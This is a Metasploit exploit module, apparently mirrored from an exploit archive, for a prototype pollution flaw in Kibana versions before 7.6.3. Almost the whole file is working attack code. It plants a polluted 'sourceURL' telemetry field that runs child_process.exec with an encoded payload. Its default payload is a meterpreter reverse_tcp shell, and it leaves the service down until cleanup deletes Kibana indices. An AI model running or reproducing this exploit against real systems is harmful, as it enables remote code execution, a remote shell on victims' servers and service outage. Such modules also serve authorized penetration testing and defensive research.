Share
## https://sploitus.com/exploit?id=PACKETSTORM:174993
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ManualRanking # causes service to not respond until cleanup and reboot  
include Msf::Exploit::Remote::HttpClient  
# decided not to use autocheck since it doesn't work for both targets  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Kibana Upgrade Assistant Telemetry Collector Prototype Pollution',  
'Description' => %q{  
Kibana before version 7.6.3 suffers from a prototype pollution bug within the  
Upgrade Assistant. By setting a new constructor.prototype.sourceURL value we're  
able to execute arbitrary code.  
Code execution is possible through two different ways. Either by sending data  
directly to Elastic, or using Kibana to submit the same queries. Either method  
enters the polluted prototype for Kibana to read.  
  
Kibana will either need to be restarted, or collection happens (unknown time) for  
the payload to execute. Once it does, cleanup must delete the .kibana_1 index  
for Kibana to restart successfully. Once a callback does occur, cleanup will  
happen allowing Kibana to be successfully restarted on next attempt.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'h00die', # msf module  
'Alex Brasetvik (alexbrasetvik)' # original PoC, analysis  
],  
'References' => [  
[ 'URL', 'https://hackerone.com/reports/852613'],  
],  
'Privileged' => false,  
'Arch' => [ ARCH_CMD ],  
'Platform' => [ 'linux' ],  
'Type' => :nix_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp',  
'WfsDelay' => 1800 # 30min  
},  
'Targets' => [  
[ 'ELASTIC', {}], # target kibana through a direct elastic connection  
[ 'KIBANA', {}] # target kibana through the dev console to implant elastic data  
],  
'DisclosureDate' => '2020-04-17',  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SERVICE_DOWN], # down until cleanup and reboot  
'Reliability' => [],  
'SideEffects' => [IOC_IN_LOGS]  
}  
)  
)  
register_options(  
[  
Opt::RPORT(9200), # default to elastic port, kibana is 5601  
OptString.new('USERNAME', [ false, 'Elastic User to login with', '']),  
OptString.new('PASSWORD', [ false, 'Elastic Password to login with', '']),  
OptString.new('TARGETURI', [ true, 'The URI of the Kibana/Elastic Application', '/'])  
]  
)  
end  
  
# https://stackoverflow.com/a/4899857  
def time_rand(from = Time.local(2020, 6, 28), to = Time.now)  
Time.at(from + rand * (to.to_f - from.to_f)).strftime('%FT%T.000Z')  
# outputs 2020-04-17T20:47:40.800Z format  
end  
  
# This is how it should be done, but it will crash the session. Leaving here in case someone figures out how to not crash the session  
# it may also only crash when on docker, and may be fine elsewehre. Regardless, good code to not lose just in case.  
def kibana_cleanup  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'api', 'console', 'proxy'),  
'method' => 'POST',  
'headers' => {  
'kbn-xsrf' => @xsrf  
},  
'ctype' => 'application/json',  
'vars_get' => {  
'path' => '.kibana_1', # URI for the elastic request  
'method' => 'DELETE' # method for the elastic query  
}  
)  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?  
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200  
end  
  
def elastic_cleanup  
request = {  
'uri' => normalize_uri(target_uri.path, '.kibana*'),  
'method' => 'DELETE'  
  
}  
request['authorization'] = basic_auth(datastore['USERNAME'], datastore['PASSWORD']) if datastore['USERNAME'].present?  
  
res = send_request_cgi(request)  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?  
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200  
end  
  
def execute_command  
case target.name  
when 'ELASTIC'  
request = {  
'uri' => normalize_uri(target_uri.path, '.kibana_1', '_doc', 'upgrade-assistant-telemetry:upgrade-assistant-telemetry'),  
'method' => 'PUT',  
'ctype' => 'application/json',  
'data' => telemetry_data.to_json  
}  
request['authorization'] = basic_auth(datastore['USERNAME'], datastore['PASSWORD']) if datastore['USERNAME'].present?  
  
res = send_request_cgi(request)  
when 'KIBANA'  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'api', 'console', 'proxy'),  
'method' => 'POST',  
'headers' => {  
'kbn-xsrf' => @xsrf  
},  
'ctype' => 'application/json',  
'vars_get' => {  
'path' => '.kibana_1/_doc/upgrade-assistant-telemetry:upgrade-assistant-telemetry', # URI for the elastic request  
'method' => 'PUT' # method for the elastic query  
},  
'data' => telemetry_data.to_json  
)  
end  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?  
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 201  
end  
  
def telemetry_data  
{  
'upgrade-assistant-telemetry' => {  
'ui_open.overview' => 1,  
'ui_open.cluster' => 1,  
'ui_open.indices' => 1,  
'constructor.prototype.sourceURL' => "\u2028\u2029\nglobal.process.mainModule.require('child_process').exec('#{payload.encoded}')"  
},  
'type' => 'upgrade-assistant-telemetry',  
'updated_at' => time_rand  
}  
end  
  
def kibana_create_index  
# if the index already exists, this will fail which is fine, we just need it to exist.  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'api', 'console', 'proxy'),  
'method' => 'POST',  
'ctype' => 'application/json',  
'headers' => {  
'kbn-xsrf' => @xsrf  
},  
'vars_get' => {  
'path' => '.kibana_1', # URI for the elastic request  
'method' => 'PUT' # method for the elastic query  
}  
)  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?  
if res.code == 400  
vprint_status('Index already exists')  
return  
end  
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200  
end  
  
def elastic_create_index  
request = {  
'uri' => normalize_uri(target_uri.path, '.kibana_1'),  
'method' => 'PUT'  
}  
request['authorization'] = basic_auth(datastore['USERNAME'], datastore['PASSWORD']) if datastore['USERNAME'].present?  
  
res = send_request_cgi(request)  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?  
if res.code == 400  
vprint_status('Index already exists')  
return  
end  
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200  
end  
  
def kibana_send_mapping  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'api', 'console', 'proxy'),  
'method' => 'POST',  
'ctype' => 'application/json',  
'headers' => {  
'kbn-xsrf' => @xsrf  
},  
'vars_get' => {  
'path' => '.kibana_1/_mappings', # URI for the elastic request  
'method' => 'PUT' # method for the elastic query  
},  
'data' => mapping_data.to_json  
)  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?  
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200  
end  
  
def elastic_send_mapping  
request = {  
'uri' => normalize_uri(target_uri.path, '.kibana_1', '_mappings'),  
'method' => 'PUT',  
'ctype' => 'application/json',  
'data' => mapping_data.to_json  
  
}  
request['authorization'] = basic_auth(datastore['USERNAME'], datastore['PASSWORD']) if datastore['USERNAME'].present?  
  
res = send_request_cgi(request)  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?  
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200  
end  
  
def mapping_data  
{  
'properties' => {  
'upgrade-assistant-telemetry' => {  
'properties' => {  
'constructor' => {  
'properties' => {  
'prototype' => {  
'properties' => {  
'sourceURL' => {  
'type' => 'text',  
'fields' => {  
'keyword' => {  
'type' => 'keyword',  
'ignore_above' => 256  
}  
}  
}  
}  
}  
}  
},  
'features' => {  
'properties' => {  
'deprecation_logging' => {  
'properties' => {  
'enabled' => {  
'type' => 'boolean',  
'null_value' => true  
}  
}  
}  
}  
},  
'ui_open' => {  
'properties' => {  
'cluster' => {  
'type' => 'long',  
'null_value' => 0  
},  
'indices' => {  
'type' => 'long',  
'null_value' => 0  
},  
'overview' => {  
'type' => 'long',  
'null_value' => 0  
}  
}  
},  
'ui_reindex' => {  
'properties' => {  
'close' => {  
'type' => 'long',  
'null_value' => 0  
},  
'open' => {  
'type' => 'long',  
'null_value' => 0  
},  
'start' => {  
'type' => 'long',  
'null_value' => 0  
},  
'stop' => {  
'type' => 'long',  
'null_value' => 0  
}  
}  
}  
}  
}  
}  
}  
end  
  
def check  
if target == targets[0] # elastic  
return CheckCode::Unknown('Unable to determine Kibana version from Elastic database')  
end  
  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'app', 'kibana'),  
'method' => 'GET',  
'keep_cookies' => true  
)  
return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?  
return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200  
  
# this pulls a big JSON blob that we need as it has the version  
unless %r{<kbn-injected-metadata data="([^"]+)"></kbn-injected-metadata>} =~ res.body  
return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version")  
end  
  
version_json = CGI.unescapeHTML(Regexp.last_match(1))  
  
begin  
json_body = JSON.parse(version_json)  
rescue JSON::ParserError  
return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version")  
end  
  
return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version") if json_body['version'].nil?  
  
@version = json_body['version']  
  
if Rex::Version.new(@version) < Rex::Version.new('7.6.3')  
return CheckCode::Appears("Exploitable Version Detected: #{@version}")  
end  
  
CheckCode::Safe("Unexploitable Version Detected: #{@version}")  
end  
  
def exploit  
@clean = true  
fail_with(Failure::BadConfig, 'A password has been defined without a username') if datastore['USERNAME'].blank? && !datastore['PASSWORD'].blank?  
case target.name  
when 'ELASTIC'  
print_warning('RPORT should most likely be set to 9200 when exploiting the ELASTIC target') if datastore['RPORT'] != 9200  
print_status('Creating index')  
elastic_create_index  
print_status('Sending index map')  
elastic_send_mapping  
when 'KIBANA'  
print_warning('RPORT should most likely be set to 5601 when exploiting the KIBANA target') if datastore['RPORT'] != 5601  
# xsrf for unlicensed kibana seems to just be kibana... at least for 7.6.2  
# https://discuss.elastic.co/t/where-can-i-get-the-correct-kbn-xsrf-value-for-my-plugin-http-requests/158725/3  
@xsrf = 'kibana'  
print_status('Creating index')  
kibana_create_index  
print_status('Sending index map')  
kibana_send_mapping  
end  
print_status('Sending telemetry data with payload')  
execute_command  
print_status("Waiting #{datastore['WfsDelay']} seconds for shell (kibana restart/cleanup)")  
end  
  
def cleanup  
return unless @clean  
  
if target.name == 'KIBANA'  
print_error('Cleanup must happen on the Elastic Database for Kibana to start. You need to DELETE /.kibana_1')  
# kibana_cleanup  
return  
end  
print_status('Removing telemetry data to prevent Kibana locking on restart')  
elastic_cleanup  
end  
end